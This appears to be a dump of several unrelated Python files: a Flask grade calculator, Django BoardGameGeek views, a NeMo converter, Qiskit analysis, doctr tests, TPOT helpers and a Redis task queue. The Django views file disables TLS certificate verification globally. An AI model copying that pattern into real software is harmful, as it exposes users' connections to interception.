# -*- coding: utf-8 -*- """ Created on Wed Feb 12 12:17:13 2020 @author: kenne """ from wtforms import (Form, validators,SubmitField,DecimalField) import numpy as np from flask import Flask from flask import request from flask import render_template class ReusableForm(Form): #Grade entries test_one_score = DecimalField("Enter First Exam Percentage", validators=[validators.InputRequired(), validators.NumberRange(min=0.0, max=120.0, message = 'Score must be betwoeen 0 and 120')]) test_two_score = DecimalField("Enter Second Exam Percentage", validators=[validators.InputRequired(), validators.NumberRange(min=0.0, max=120.0, message = 'Score must be betwoeen 0 and 120')]) test_three_score = DecimalField("Enter Third Exam Percentage", validators=[validators.InputRequired(), validators.NumberRange(min=0.0, max=120.0, message = 'Score must be betwoeen 0 and 120')]) test_four_score = DecimalField("Enter Fourth Exam Percentage", validators=[validators.InputRequired(), validators.NumberRange(min=0.0, max=120.0, message = 'Score must be betwoeen 0 and 120')]) final_exam_score = DecimalField("Enter Final Exam Percentage", validators=[validators.InputRequired(), validators.NumberRange(min=0.0, max=120.0, message = 'Score must be betwoeen 0 and 120')]) quiz_average = DecimalField("Enter Average Quiz Grade", validators=[validators.InputRequired(), validators.NumberRange(min=0.0, max=120.0, message = 'Score must be betwoeen 0 and 120')]) homework_average = DecimalField("Enter Average Homework Grade", validators=[validators.InputRequired(), validators.NumberRange(min=0.0, max=120.0, message = 'Score must be betwoeen 0 and 120')]) attendance_score = DecimalField("Enter Attendance Grade", validators=[validators.InputRequired(), validators.NumberRange(min=0.0, max=120.0, message = 'Score must be betwoeen 0 and 120')]) video_quiz_average = DecimalField("Enter Video Quiz Average", validators=[validators.InputRequired(), validators.NumberRange(min=0.0, max=120.0, message = 'Score must be betwoeen 0 and 120')]) project_score = DecimalField("Enter Project Average", validators=[validators.InputRequired(), validators.NumberRange(min=0.0, max=120.0, message = 'Score must be betwoeen 0 and 120')]) #Submit button submit = SubmitField("Calculate") app=Flask(__name__) #Homepage for the app @app.route("/",methods=['GET','POST']) def home(): form=ReusableForm(request.form) if request.method=='POST' and form.validate(): #Extract all of the data fields from the webform exam_one_score = request.form['test_one_score'] exam_two_score = request.form['test_two_score'] exam_three_score = request.form['test_three_score'] exam_four_score = request.form['test_four_score'] final_exam_score = request.form['final_exam_score'] attendance_score = request.form['attendance_score'] homework_average = request.form['homework_average'] quiz_average = request.form['quiz_average'] video_quiz_average = request.form['video_quiz_average'] project_score = request.form['project_score'] #grades = np.array((exam_one_score,exam_two_score,exam_three_score,exam_four_score,final_exam_score, # homework_average,quiz_average,attendance_score),dtype=np.float32) # #weights = np.array((0.1,0.1,0.1,0.1,0.2,0.1,0.1,0.1),dtype=np.float32) course_grade = float(np.dot(np.array((exam_one_score,exam_two_score,exam_three_score,exam_four_score,final_exam_score, homework_average,quiz_average,attendance_score,video_quiz_average,project_score),dtype=np.float32).reshape((1,10)), np.array((0.1,0.1,0.1,0.1,0.2,0.1,0.1,0.05,0.05,0.1),dtype=np.float32).reshape((10,1)))) return render_template('filled.html', input=str(course_grade)) return render_template('index.html',form=form) #app.run(host='0.0.0.0',port=5000)
python
import json import os import importlib class Config(dict): """dot.notation access to dictionary attributes""" __getattr__ = dict.get __setattr__ = dict.__setitem__ __delattr__ = dict.__delitem__ def __init__(self, **kwargs): super(Config, self).__init__() self.update(kwargs) for k,v in self.items(): if isinstance(v,dict): self[k] = Config(**v) def __getitem__(self, key): splt = key.split("/") config = self for s in splt: if not dict.__contains__(config, s): raise KeyError("{} not in Config".format(key)) config = dict.__getitem__(config, s) return config def __contains__(self, key): splt = key.split("/") config = self for s in splt: if not dict.__contains__(config, s): return False config = dict.__getitem__(config, s) return True def __getstate__(self): return self def __setstate__(self, state): self.update(state) self.__dict__ = self @staticmethod def load_from_file(filename, typ): with open(filename) as json_data_file: data = json.load(json_data_file) result = Config.__default_values__[typ].copy() Config._nested_update(result, data) config = Config(**result) config._check_required_fields(typ) config._check_valid_fields(typ) return config @staticmethod def _nested_update(d, u): for k,v in u.items(): if k in d and isinstance(d[k], dict): Config._nested_update(d[k], v) else: d[k] = v def _check_required_fields(self, typ): required_fields = {"episode": ['data folder', 'scenario', 'generator', 'generator/class'], "agent": ['class']}[typ] for field in required_fields: if not field in self: raise Exception("Field {} missing in configuration".format(field)) def _check_valid_fields(self, typ): validations = { "episode": { 'generator/class': Config._valid_class, 'data folder': Config._valid_data_folder }, "agent": { 'class': Config._valid_class } }[typ] for field, validation_function in validations.items(): if field in self: try: validation_function(self[field]) except Exception as e: raise Exception("Error in configuration.\nInvalid setting for {}: {}\n{}".format(field, self[field], e)) @staticmethod def _valid_class(value): try: planner_lst = value.split('.') _module = importlib.import_module(".".join(planner_lst[:-1])) _class = getattr(_module, planner_lst[-1]) except: raise Exception("Cannot find file or class: {}".format(value)) @staticmethod def _valid_data_folder(value): if not os.path.exists(value): raise Exception("Path {} does not exist".format(value)) __default_values__ = { "episode": { "n_runs": 1, "max_trains": 1, "time_limit": -1, "verbose": 1 }, "agent": { "class": "planner.random_planner.RandomPlanner", "seed": 42, "verbose": 1 } }
python
from django.shortcuts import render, get_object_or_404, redirect from django.contrib.auth.models import User from django.urls import reverse from django.db.models import Q, Min, F, When from datetime import datetime, date, time, timedelta from .models import * from .utils import get_rating, get_game from .forms import newGameForm import ssl ssl._create_default_https_context = ssl._create_unverified_context import random def dashboard(request): labels = [] lab = Ratings.objects.values_list('updated_on', flat=True).distinct() lab = lab.order_by('updated_on') games = Game.objects.all() for l in lab: labels.append(l.strftime('%Y-%m-%d')) context = { 'labels': labels, 'games': games, } print(datetime.now() - timedelta(days=7)) return render(request, 'dashboard.html', context) def renew(request): games = Game.objects.all().values('bggid', 'id') for bggid in games: gid = bggid['id'] bggid = str(bggid['bggid']) url = 'https://boardgamegeek.com/xmlapi2/thing?id=' + bggid + '&stats=1' data = get_rating(url) voters = data['voters']['value'] average_rating = data['average_rating']['value'] geek_rating = data['geek_rating']['value'] rank_overall = data['rank_overall']['value'] strategy_rank = data['strategy_rank'] customizable_rank = data['customizable_rank'] thematic_rank = data['thematic_rank'] abstract_rank = data['abstract_rank'] family_rank = data['family_rank'] children_rank = data['children_rank'] party_rank = data['party_rank'] wargame_rank = data['wargame_rank'] today = datetime.now() Ratings.objects.update_or_create(updated_on=today, game_id=gid, defaults={'voters':voters, 'average_rating':average_rating, 'geek_rating':geek_rating, 'rank_overall':rank_overall, 'strategy_rank':strategy_rank, 'customizable_rank':customizable_rank, 'thematic_rank':thematic_rank, 'abstract_rank':abstract_rank, 'family_rank':family_rank, 'children_rank':children_rank, 'party_rank':party_rank, 'wargame_rank':wargame_rank}) return redirect(request.META['HTTP_REFERER']) def games(request): games = Game.objects.all() r = lambda: random.randint(0,255) color = "#%02X%02X%02X" % (r(),r(),r()) if request.method == 'POST': form = newGameForm(request.POST) if form.is_valid(): bggid = form.cleaned_data['bggid'] bggid = str(bggid) url = 'https://boardgamegeek.com/xmlapi2/thing?id=' + bggid + '&stats=1' data = get_game(url) name = data['name'] photo = data['photo'] form = form.save(commit=False) form.name = name form.color = color form.photo_link = photo form.bggid = int(bggid) form.save() return redirect(request.META['HTTP_REFERER']) else: form = newGameForm() context = { 'games': games, 'form': form, } return render(request, 'games.html', context) def ratings(request, slug): game = get_object_or_404(Game, slug=slug) name = game.name gid = game.id labels = [] lab = Ratings.objects.values_list('updated_on', flat=True).distinct() lab = lab.order_by('updated_on') for l in lab: labels.append(l.strftime('%Y-%m-%d')) ratings = Ratings.objects.filter(game=game.id).order_by('-updated_on') for rat in ratings: print(rat.strategy_rank) context = { 'game': game, 'name': name, 'ratings': ratings, 'labels': labels, } return render(request, 'ratings.html', context)
python
# -*- coding: utf-8 -*- from libs.pila import Pila from libs.nodo import Nodo import re class ArbolPosFijo: diccionario={} def evaluar(self, arbol): if arbol.valor=='+': return self.evaluar(arbol.izquierda)+self.evaluar(arbol.derecha) if arbol.valor=='-': return self.evaluar(arbol.izquierda)-self.evaluar(arbol.derecha) if arbol.valor=='*': return self.evaluar(arbol.izquierda)*self.evaluar(arbol.derecha) if arbol.valor=='/': return self.evaluar(arbol.izquierda)/self.evaluar(arbol.derecha) try: return int(arbol.valor) except: return (self.getValorDiccionario(arbol.valor)) def addDiccionario(self,indice,valor): self.diccionario[indice]=valor def getValorDiccionario(self,indice): return self.diccionario.get(indice) def printDiccionario(self): for i in self.diccionario: print ("{} = {}".format(i,self.getValorDiccionario(i))) def construirPosfijo(self, posfijo): posfijo.pop() variable=posfijo.pop() pilaOperador = Pila() for caracter in posfijo : if (caracter == '+' or caracter == '-' or caracter == '*' or caracter == '/'): arbol = Nodo(caracter) arbol.derecha = pilaOperador.desapilar() arbol.izquierda = pilaOperador.desapilar() pilaOperador.apilar(arbol) else: arbol = Nodo(caracter) pilaOperador.apilar(arbol) arbol = pilaOperador.desapilar() self.addDiccionario(variable,self.evaluar(arbol)) return self.evaluar(arbol) def imprimirTabla(self,a1 , a2): a = 0 for m in a1: print(a1[a] + " " + a2[a]) a = a+1 print("====================================") def evaluarCaracteres(self, aux, l1 , l2): errores = 0 for x in aux: if re.match('^[-+]?[0-9]+$', x): l1.append("Num") l2.append(x) elif re.match('[-|=|+|*|/]', x): l1.append("Oper") l2.append(x) elif re.match('^[a-zA-Z_][a-zA-Z0-9_]*$', x): l1.append("Var") l2.append(x) else: l1.append("TOKEN NO VALIDO") l2.append(x) errores+=1 return errores
python
# Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os from argparse import ArgumentParser import torch.multiprocessing as mp from pytorch_lightning.trainer.trainer import Trainer from nemo.collections.nlp.models.language_modeling.megatron_gpt_model import MegatronGPTModel from nemo.collections.nlp.parts.nlp_overrides import NLPSaveRestoreConnector from nemo.utils import AppState, logging def get_args(): parser = ArgumentParser() parser.add_argument( "--checkpoint_folder", type=str, default=None, required=True, help="Path to PTL checkpoints saved during training. Ex: /raid/nemo_experiments/megatron_gpt/checkpoints", ) parser.add_argument( "--checkpoint_name", type=str, default=None, required=True, help="Name of checkpoint to be used. Ex: megatron_gpt--val_loss=6.34-step=649-last.ckpt", ) parser.add_argument( "--hparams_file", type=str, default=None, required=False, help="Path config for restoring. It's created during training and may need to be modified during restore if restore environment is different than training. Ex: /raid/nemo_experiments/megatron_gpt/hparams.yaml", ) parser.add_argument("--nemo_file_path", type=str, default=None, required=True, help="Path to output .nemo file.") parser.add_argument("--tensor_model_parallel_size", type=int, required=True, default=None) args = parser.parse_args() return args def convert(rank, world_size, args): app_state = AppState() app_state.data_parallel_rank = 0 trainer = Trainer(gpus=args.tensor_model_parallel_size) # TODO: reach out to PTL For an API-safe local rank override trainer.accelerator.training_type_plugin._local_rank = rank if args.tensor_model_parallel_size is not None and args.tensor_model_parallel_size > 1: # inject model parallel rank checkpoint_path = os.path.join(args.checkpoint_folder, f'mp_rank_{rank:02d}', args.checkpoint_name) else: checkpoint_path = os.path.join(args.checkpoint_folder, args.checkpoint_name) model = MegatronGPTModel.load_from_checkpoint(checkpoint_path, hparams_file=args.hparams_file, trainer=trainer) model._save_restore_connector = NLPSaveRestoreConnector() model.save_to(args.nemo_file_path) logging.info(f'NeMo model saved to: {args.nemo_file_path}') def main() -> None: args = get_args() world_size = args.tensor_model_parallel_size mp.spawn(convert, args=(world_size, args), nprocs=world_size, join=True) if __name__ == '__main__': main() # noqa pylint: disable=no-value-for-parameter
python
# This code is part of Qiskit. # # (C) Copyright IBM 2021, 2022. # # This code is licensed under the Apache License, Version 2.0. You may # obtain a copy of this license in the LICENSE.txt file in the root directory # of this source tree or at http://www.apache.org/licenses/LICENSE-2.0. # # Any modifications or derivative works of this code must retain this # copyright notice, and modified files need to carry a notice indicating # that they have been altered from the originals. """ Tphi Analysis class. """ from typing import List, Tuple from qiskit_experiments.framework import ExperimentData, AnalysisResultData from qiskit_experiments.framework.composite.composite_analysis import CompositeAnalysis from qiskit_experiments.library.characterization.analysis.t1_analysis import T1Analysis from qiskit_experiments.library.characterization.analysis.t2ramsey_analysis import T2RamseyAnalysis from qiskit_experiments.exceptions import QiskitError class TphiAnalysis(CompositeAnalysis): r""" Tphi result analysis class. A class to analyze :math:`T_\phi` experiments. """ def __init__(self, analyses=None): if analyses is None: analyses = [T1Analysis(), T2RamseyAnalysis()] # Validate analyses kwarg if ( len(analyses) != 2 or not isinstance(analyses[0], T1Analysis) or not isinstance(analyses[1], T2RamseyAnalysis) ): raise QiskitError( "Invlaid component analyses for T2phi, analyses must be a pair of " "T1Analysis and T2RamseyAnalysis instances." ) super().__init__(analyses, flatten_results=True) def _run_analysis( self, experiment_data: ExperimentData ) -> Tuple[List[AnalysisResultData], List["matplotlib.figure.Figure"]]: r"""Run analysis for :math:`T_\phi` experiment. It invokes CompositeAnalysis._run_analysis that will invoke _run_analysis for the two sub-experiments. Based on the results, it computes the result for :math:`T_phi`. """ # Run composite analysis and extract T1 and T2star results analysis_results, figures = super()._run_analysis(experiment_data) t1_result = next(filter(lambda res: res.name == "T1", analysis_results)) t2star_result = next(filter(lambda res: res.name == "T2star", analysis_results)) # Calculate Tphi from T1 and T2star tphi = 1 / (1 / t2star_result.value - 1 / (2 * t1_result.value)) quality_tphi = ( "good" if (t1_result.quality == "good" and t2star_result.quality == "good") else "bad" ) tphi_result = AnalysisResultData( name="T_phi", value=tphi, chisq=None, quality=quality_tphi, extra={"unit": "s"}, ) # Return combined results analysis_results = [tphi_result] + analysis_results return analysis_results, figures
python
import pytest import numpy as np import torch from torch.utils.data import DataLoader, RandomSampler from copy import deepcopy from doctr import datasets from doctr.transforms import Resize def test_visiondataset(): url = 'https://data.deepai.org/mnist.zip' with pytest.raises(ValueError): datasets.datasets.VisionDataset(url, download=False) dataset = datasets.datasets.VisionDataset(url, download=True, extract_archive=True) assert len(dataset) == 0 assert repr(dataset) == 'VisionDataset()' @pytest.mark.parametrize( "dataset_name, train, input_size, size, rotate", [ ['FUNSD', True, [512, 512], 149, False], ['FUNSD', False, [512, 512], 50, True], ['SROIE', True, [512, 512], 626, False], ['SROIE', False, [512, 512], 360, False], ['CORD', True, [512, 512], 800, True], ['CORD', False, [512, 512], 100, False], ], ) def test_dataset(dataset_name, train, input_size, size, rotate): ds = datasets.__dict__[dataset_name]( train=train, download=True, sample_transforms=Resize(input_size), rotated_bbox=rotate ) assert len(ds) == size assert repr(ds) == f"{dataset_name}(train={train})" img, target = ds[0] assert isinstance(img, torch.Tensor) assert img.shape == (3, *input_size) assert img.dtype == torch.float32 assert isinstance(target, dict) loader = DataLoader( ds, batch_size=2, drop_last=True, sampler=RandomSampler(ds), num_workers=0, pin_memory=True, collate_fn=ds.collate_fn) images, targets = next(iter(loader)) assert isinstance(images, torch.Tensor) and images.shape == (2, 3, *input_size) assert isinstance(targets, list) and all(isinstance(elt, dict) for elt in targets) # FP16 checks ds = datasets.__dict__[dataset_name](train=train, download=True, fp16=True) img, target = ds[0] assert img.dtype == torch.float16 def test_detection_dataset(mock_image_folder, mock_detection_label): input_size = (1024, 1024) ds = datasets.DetectionDataset( img_folder=mock_image_folder, label_folder=mock_detection_label, sample_transforms=Resize(input_size), ) assert len(ds) == 5 img, target = ds[0] assert isinstance(img, torch.Tensor) assert img.dtype == torch.float32 assert img.shape[-2:] == input_size # Bounding boxes assert isinstance(target['boxes'], np.ndarray) and target['boxes'].dtype == np.float32 assert np.all(np.logical_and(target['boxes'][:, :4] >= 0, target['boxes'][:, :4] <= 1)) assert target['boxes'].shape[1] == 4 # Flags assert isinstance(target['flags'], np.ndarray) and target['flags'].dtype == np.bool # Cardinality consistency assert target['boxes'].shape[0] == target['flags'].shape[0] loader = DataLoader(ds, batch_size=2, collate_fn=ds.collate_fn) images, targets = next(iter(loader)) assert isinstance(images, torch.Tensor) and images.shape == (2, 3, *input_size) assert isinstance(targets, list) and all(isinstance(elt, dict) for elt in targets) # Rotated DS rotated_ds = datasets.DetectionDataset( img_folder=mock_image_folder, label_folder=mock_detection_label, sample_transforms=Resize(input_size), rotated_bbox=True ) _, r_target = rotated_ds[0] assert r_target['boxes'].shape[1] == 5 # FP16 ds = datasets.DetectionDataset(img_folder=mock_image_folder, label_folder=mock_detection_label, fp16=True) img, target = ds[0] assert img.dtype == torch.float16 # Bounding boxes assert target['boxes'].dtype == np.float16 def test_recognition_dataset(mock_image_folder, mock_recognition_label): input_size = (32, 128) ds = datasets.RecognitionDataset( img_folder=mock_image_folder, labels_path=mock_recognition_label, sample_transforms=Resize(input_size, preserve_aspect_ratio=True), ) assert len(ds) == 5 image, label = ds[0] assert isinstance(image, torch.Tensor) assert image.shape[-2:] == input_size assert image.dtype == torch.float32 assert isinstance(label, str) loader = DataLoader(ds, batch_size=2, collate_fn=ds.collate_fn) images, labels = next(iter(loader)) assert isinstance(images, torch.Tensor) and images.shape == (2, 3, *input_size) assert isinstance(labels, list) and all(isinstance(elt, str) for elt in labels) # FP16 ds = datasets.RecognitionDataset(img_folder=mock_image_folder, labels_path=mock_recognition_label, fp16=True) image, label = ds[0] assert image.dtype == torch.float16 ds2, ds3 = deepcopy(ds), deepcopy(ds) ds2.merge_dataset(ds3) assert len(ds2) == 2 * len(ds) def test_ocrdataset(mock_ocrdataset): input_size = (512, 512) ds = datasets.OCRDataset( *mock_ocrdataset, sample_transforms=Resize(input_size), ) assert len(ds) == 3 img, target = ds[0] assert isinstance(img, torch.Tensor) assert img.shape[-2:] == input_size assert img.dtype == torch.float32 # Bounding boxes assert isinstance(target['boxes'], np.ndarray) and target['boxes'].dtype == np.float32 assert np.all(np.logical_and(target['boxes'][:, :4] >= 0, target['boxes'][:, :4] <= 1)) assert target['boxes'].shape[1] == 5 # Flags assert isinstance(target['labels'], list) and all(isinstance(s, str) for s in target['labels']) # Cardinality consistency assert target['boxes'].shape[0] == len(target['labels']) loader = DataLoader(ds, batch_size=2, collate_fn=ds.collate_fn) images, targets = next(iter(loader)) assert isinstance(images, torch.Tensor) and images.shape == (2, 3, *input_size) assert isinstance(targets, list) and all(isinstance(elt, dict) for elt in targets) # FP16 ds = datasets.OCRDataset(*mock_ocrdataset, fp16=True) img, target = ds[0] assert img.dtype == torch.float16 # Bounding boxes assert target['boxes'].dtype == np.float16 def test_charactergenerator(): input_size = (32, 32) vocab = 'abcdef' ds = datasets.CharacterGenerator( vocab=vocab, num_samples=10, cache_samples=True, sample_transforms=Resize(input_size), ) assert len(ds) == 10 image, label = ds[0] assert isinstance(image, torch.Tensor) assert image.shape[-2:] == input_size assert image.dtype == torch.float32 assert isinstance(label, int) and label < len(vocab) loader = DataLoader(ds, batch_size=2, collate_fn=ds.collate_fn) images, targets = next(iter(loader)) assert isinstance(images, torch.Tensor) and images.shape == (2, 3, *input_size) assert isinstance(targets, torch.Tensor) and targets.shape == (2,) assert targets.dtype == torch.int64
python
import numpy as np import pandas as pd from typing import Union from tpot import TPOTClassifier, TPOTRegressor def _fit_tpot( tpot: Union[TPOTClassifier, TPOTRegressor], fit_X_train: Union[pd.DataFrame, np.array], fit_y_train: Union[pd.DataFrame, np.array], fit_X_val: Union[pd.DataFrame, np.array], fit_y_val: Union[pd.DataFrame, np.array], path_to_export, ): """ This function train the tpot pipeline, print the pipeline validation score and predict export the python file generated by the tpot library Args: tpot: represents the tpot model fit_X_train: represent the feature training dataset fit_y_train: represent the target training dataset fit_X_val: represent the feature validation dataset fit_y_val: represent the target validation dataset path_to_export: it's the path to store the python file Returns: This function return the trained tpot pipeline with the prediction """ # train the pipeline tpot.fit(np.array(fit_X_train), np.array(fit_y_train).ravel()) # print the test score print(tpot.score(np.array(fit_X_val), np.array(fit_y_val).ravel())) # create the probability array for the test set prediction = tpot.predict(np.array(fit_X_val)) # export the model as a python file in the path set using the pipeline name as name of the folder tpot.export(path_to_export) return tpot, prediction def _get_custom_cv(X_train, y_train, X_val, y_val): """ This function generate the custom validation set that will be used by tpot to train tpot pipeline. To do so we need to merge training and validation together and get indexes that separate train and validation Args: X_train: it's the training dataset containing only features y_train: it's the training target X_val: it's the validation dataset containing only features y_val: it's the validation target Returns: """ # reset indexes l_x_train = pd.DataFrame(X_train).reset_index(drop=True) l_y_train = pd.DataFrame(y_train).reset_index(drop=True) l_x_val = pd.DataFrame(X_val).reset_index(drop=True) l_y_val = pd.DataFrame(y_val).reset_index(drop=True) # Concat 2 dataframes to final_x_train = pd.concat([l_x_train, l_x_val]) final_x_train = pd.DataFrame(final_x_train).reset_index(drop=True) final_y_train = pd.concat([l_y_train, l_y_val]) final_y_train = pd.DataFrame(final_y_train).reset_index(drop=True) # since we merged the 2 dataframes and resented the indexes, now we can specify what are the indices of the # train and the validation train_indices = list(range(l_x_train.index[-1] + 1)) test_indices = list(range((l_x_train.index[-1] + 1), (final_x_train.index[-1] + 1))) custom_cv = list() custom_cv.append((train_indices, test_indices)) print(final_x_train.columns) # we add to a list of arrays the train index and the validation index that we will use for training and validation return custom_cv, final_x_train, final_y_train
python
import ast import inspect import sys from typing import Any from typing import Callable from typing import Dict from typing import List from _pytest._code.code import Code from _pytest._code.source import Source LESS_PY38 = sys.version_info <= (3, 8) def get_functions_in_function( func: Callable, ) -> Dict[str, Callable]: """Return functions contained in the passed function.""" context: Dict[str, Any] = getattr(func, "__globals__", {}) code = Code.from_function(func) args = code.getargs() if inspect.ismethod(func): context[args[0]] = func.__self__ # type: ignore[attr-defined] filename, firstlineno = code.path, code.firstlineno source = code.source() # skip def statement body_statement_lineno = 0 while True: statement = source.getstatement(body_statement_lineno).deindent() if any(("def " in line for line in statement.lines)): # see deepsource PTC-W0016 body_statement_lineno += len(statement.lines) break body_statement_lineno += 1 body_firstlineno = body_statement_lineno body = source[body_statement_lineno:].deindent() co = compile(str(body), str(filename), "exec") eval(co, context) # skipcq: PYL-W0123 context = {k: v for k, v in context.items() if inspect.isfunction(v) and k in get_function_names(str(body))} for f in context.values(): f_firstlineno = f.__code__.co_firstlineno + firstlineno if LESS_PY38: from types import CodeType f.__code__ = CodeType( f.__code__.co_argcount, f.__code__.co_kwonlyargcount, f.__code__.co_nlocals, f.__code__.co_stacksize, f.__code__.co_flags, f.__code__.co_code, f.__code__.co_consts, f.__code__.co_names, f.__code__.co_varnames, str(filename), # type: ignore f.__code__.co_name, f_firstlineno + body_firstlineno, f.__code__.co_lnotab, f.__code__.co_freevars, f.__code__.co_cellvars, ) else: f.__code__ = f.__code__.replace(co_filename=str(filename), co_firstlineno=f_firstlineno + body_firstlineno) return context def get_function_names(source: str) -> List[str]: source = Source(source).deindent() # type: ignore bodies = ast.parse(str(source)).body return [body.name for body in bodies if isinstance(body, ast.FunctionDef)] class Box: _data: Dict[str, Any] def __new__(cls) -> "Box": box = super().__new__(cls) box._data = {} return box def __setattr__(self, name: str, value: Any) -> None: if not name.startswith("_"): self._data[name] = value super().__setattr__(name, value)
python
import dataclasses import json import logging import time from os.path import dirname from pathlib import Path from typing import Any, Dict, Optional, Union from uuid import uuid4 from aioredis import Redis from .defaults import ( DEFAULT_QUEUE_NAME, DEFAULT_QUEUE_NAMESPACE, DEFAULT_TASK_EXPIRATION, DEFAULT_TIMEOUT, ) from .dto import Task, TaskWrapper from .enums import RetryPolicy, TaskState from .exceptions import ( RescheduledTaskMissing, RescheduleLimitReached, TaskAddException, TaskRescheduleException, TaskRetryForbidden, ) from .function import LuaFunction LOGGER = logging.getLogger(__name__) DEFAULT_LUA_DIR = Path(dirname(__file__)) / "lua" def encode_task(task: Task) -> str: return json.dumps(dataclasses.asdict(task)) def decode_task(data: dict) -> Task: return Task(**data) PATH_TYPE = Union[str, Path] class Queue: def __init__( self, client: Redis, name: str = DEFAULT_QUEUE_NAME, namespace: str = DEFAULT_QUEUE_NAMESPACE, add_src_path: PATH_TYPE = DEFAULT_LUA_DIR / "add_template.lua", get_src_path: PATH_TYPE = DEFAULT_LUA_DIR / "get_template.lua", complete_src_path: PATH_TYPE = DEFAULT_LUA_DIR / "complete_template.lua", reschedule_src_path: PATH_TYPE = DEFAULT_LUA_DIR / "reschedule_template.lua", bury_src_path: PATH_TYPE = DEFAULT_LUA_DIR / "bury_template.lua", logger: Optional[logging.Logger] = None, ): self.client = client self.name = name.replace(":", "_") self.namespace = namespace.replace(":", "_") self.logger = logger or LOGGER with open(add_src_path) as src: self._add_function = LuaFunction(src.read(), self.environment) with open(get_src_path) as src: self._get_function = LuaFunction(src.read(), self.environment) with open(complete_src_path) as src: self._complete_function = LuaFunction(src.read(), self.environment) with open(reschedule_src_path) as src: self._reschedule_function = LuaFunction(src.read(), self.environment) with open(bury_src_path) as src: self._bury_function = LuaFunction(src.read(), self.environment) @property def _key_prefix(self) -> str: return f"{self.namespace}:{self.name}" @property def event_channel_name(self) -> str: return f"{self._key_prefix}:events" @property def processing_set_name(self) -> str: return f"{self._key_prefix}:processing" @property def pending_set_name(self) -> str: return f"{self._key_prefix}:pending" @property def mapping_key_name(self) -> str: return f"{self._key_prefix}:key_id_map" @property def task_key_prefix(self) -> str: return f"{self._key_prefix}:task" @property def metrics_added_key(self) -> str: return f"{self._key_prefix}:metrics:added" @property def metrics_taken_key(self) -> str: return f"{self._key_prefix}:metrics:taken" @property def metrics_requeued_key(self) -> str: return f"{self._key_prefix}:metrics:requeued" @property def metrics_completed_key(self) -> str: return f"{self._key_prefix}:metrics:completed" @property def metrics_resurrected_key(self) -> str: return f"{self._key_prefix}:metrics:resurrected" @property def metrics_buried_key(self) -> str: return f"{self._key_prefix}:metrics:buried" @property def metrics_broken_key(self) -> str: return f"{self._key_prefix}:metrics:broken" @property def environment(self) -> Dict[str, Any]: return { "processing_key": self.processing_set_name, "pending_key": self.pending_set_name, "task_mapping_key": self.mapping_key_name, "event_channel": self.event_channel_name, "task_key_prefix": self.task_key_prefix, "metrics_added_key": self.metrics_added_key, "metrics_taken_key": self.metrics_taken_key, "metrics_requeued_key": self.metrics_requeued_key, "metrics_completed_key": self.metrics_completed_key, "metrics_resurrected_key": self.metrics_resurrected_key, "metrics_buried_key": self.metrics_buried_key, "metrics_broken_key": self.metrics_broken_key, "default_timeout": DEFAULT_TIMEOUT, "default_task_expiration": DEFAULT_TASK_EXPIRATION, } async def add_task( self, task_data: Dict[str, Any], task_key: Optional[str] = None, task_timeout: int = DEFAULT_TIMEOUT, retry_policy: RetryPolicy = RetryPolicy.NONE, retry_delay: int = 10, retry_limit: int = 3, ignore_existing: bool = True, ttl=DEFAULT_TASK_EXPIRATION, keep_completed_data=True, ) -> str: task_id = str(uuid4()) self.logger.debug("Task data to add: %s", task_data) if task_key is None: task_key = task_id task = Task( id=task_id, timeout=task_timeout, policy=retry_policy, delay=retry_delay, retry_limit=retry_limit, ttl=ttl, keep_completed_data=keep_completed_data, ) task.data = task_data serialized_task = encode_task(task) self.logger.debug("Adding task: key = %s, task = %s", task_key, serialized_task) result: Dict[str, Any] = await self._add_function.call( self.client, task_key, task_id, serialized_task, time.time() ) success: bool = result["success"] if success: return task_id if not ignore_existing: raise TaskAddException( state=result["state"], task_id=result["id"], ) return result["id"] async def get_task(self) -> Optional[TaskWrapper]: result = await self._get_function.call(self.client, time.time()) self.logger.debug("Get task result: %s", result) if not result["success"]: error = result.get("error") if error: self.logger.warning("Error getting task: %s", error) return None task_key = result["key"] task_deadline = result["deadline"] data = result["data"] task = decode_task(data) return TaskWrapper( key=task_key, deadline=task_deadline, task=task, ) async def complete_task(self, wrapped_task: TaskWrapper): assert wrapped_task.task.state in ( TaskState.COMPLETED, TaskState.FAILED, ), "Task not in final state" if not wrapped_task.task.keep_completed_data: wrapped_task.task.data = None await self._complete_function.call( self.client, wrapped_task.key, wrapped_task.task.id, encode_task(wrapped_task.task), wrapped_task.task.ttl or 0, ) async def fail_task(self, wrapped_task: TaskWrapper): wrapped_task.task.state = TaskState.FAILED await self.complete_task(wrapped_task) async def reschedule_task(self, wrapped_task: TaskWrapper, after: int): assert wrapped_task.task.state == TaskState.REQUEUED return await self._reschedule_function.call( self.client, wrapped_task.key, wrapped_task.task.id, encode_task(wrapped_task.task), after, ) async def auto_reschedule_task( self, wrapped_task: TaskWrapper, force: bool = False ) -> int: task = wrapped_task.task task.retry_counter += 1 if force: delay = 0 else: exception: Optional[TaskRescheduleException] = None if task.policy == RetryPolicy.NONE: exception = TaskRetryForbidden() elif task.retry_counter > task.retry_limit: exception = RescheduleLimitReached() if exception: task.state = TaskState.FAILED await self.complete_task(wrapped_task) raise exception if task.policy == RetryPolicy.LINEAR: delay = task.delay * task.retry_counter else: delay = task.delay ** task.retry_counter after_time = int(time.time()) + delay task.state = TaskState.REQUEUED result = await self.reschedule_task(wrapped_task, after=after_time) if result["success"]: return delay raise RescheduledTaskMissing() async def bury_tasks(self) -> int: result = await self._bury_function.call(self.client, time.time()) return result["count"] async def check_task(self, task_id: str) -> Optional[Task]: task_data = await self.client.get(f"{self.task_key_prefix}:{task_id}") if not task_data: return None return decode_task(json.loads(task_data)) async def get_processing_count(self) -> int: return await self.client.zcard(self.processing_set_name) async def get_pending_count(self) -> int: return await self.client.zcard(self.pending_set_name)
python
